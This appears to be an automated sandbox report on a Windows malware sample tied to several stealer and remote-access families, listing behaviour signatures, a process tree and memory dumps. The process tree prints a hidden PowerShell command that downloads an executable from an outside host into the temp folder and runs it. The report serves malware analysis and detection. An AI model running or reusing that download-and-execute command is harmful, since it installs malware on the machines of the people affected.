Overview

overview

8

Static

static

3

2026-07-07...lc.exe

windows10-2004-x64

8

2026-07-07...lc.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 00:56

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General

  • Target
    2026-07-07_7d6e6990df4ec6ddba8759aabd55f159_blankgrabber_gazer_glassworm_helldown_icedid_luca-stealer_njrat_remcos_stealc.exe
  • Size 1.4MB
  • Sample260708-bapweagy7y
  • SHA256 f7b2f2b590250693912c6d286f0e1447a5eb234c460c10c74da188c4f987b732
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwareexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-07_7d6e6990df4ec6ddba8759aabd55f159_blankgrabber_gazer_glassworm_helldown_icedid_luca-stealer_njrat_remcos_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-07_7d6e6990df4ec6ddba8759aabd55f159_blankgrabber_gazer_glassworm_helldown_icedid_luca-stealer_njrat_remcos_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK337911.exe; Start-Process -FilePath $env:TEMP\BK337911.exe -WindowStyle Hidden }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4348
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK337911.exe; Start-Process -FilePath $env:TEMP\BK337911.exe -WindowStyle Hidden }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3616
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK337911.exe; Start-Process -FilePath $env:TEMP\BK337911.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2736
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2968
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:4748
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2380
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3292

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        prep_Activatable Class_Hermes_perf.cache
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2380-71-0x000001A501B90000-0x000001A501BB0000-memory.dmp
        Download

        memory/2380-85-0x000001A514610000-0x000001A514630000-memory.dmp
        Download

        memory/2380-60-0x000001A501D90000-0x000001A501E90000-memory.dmp
        Download

        memory/2380-39-0x000001A5001E0000-0x000001A5002E0000-memory.dmp
        Download

        memory/2380-59-0x000001A501950000-0x000001A501970000-memory.dmp
        Download

        memory/2736-8-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
        Download

        memory/2736-16-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
        Download

        memory/2736-11-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
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        memory/2736-12-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
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        memory/2736-13-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
        Download

        memory/2736-14-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
        Download

        memory/2736-15-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
        Download

        memory/2736-10-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
        Download

        memory/2736-18-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
        Download

        memory/2736-9-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
        Download

        memory/2736-1-0x00007FFF671EF000-0x00007FFF671F0000-memory.dmp
        Download

        memory/2736-7-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
        Download

        memory/2736-6-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
        Download

        memory/2736-5-0x000002D7FC520000-0x000002D7FC542000-memory.dmp
        Download

        memory/2736-4-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
        Download

        memory/3292-203-0x0000020731B80000-0x0000020731FB4000-memory.dmp
        Download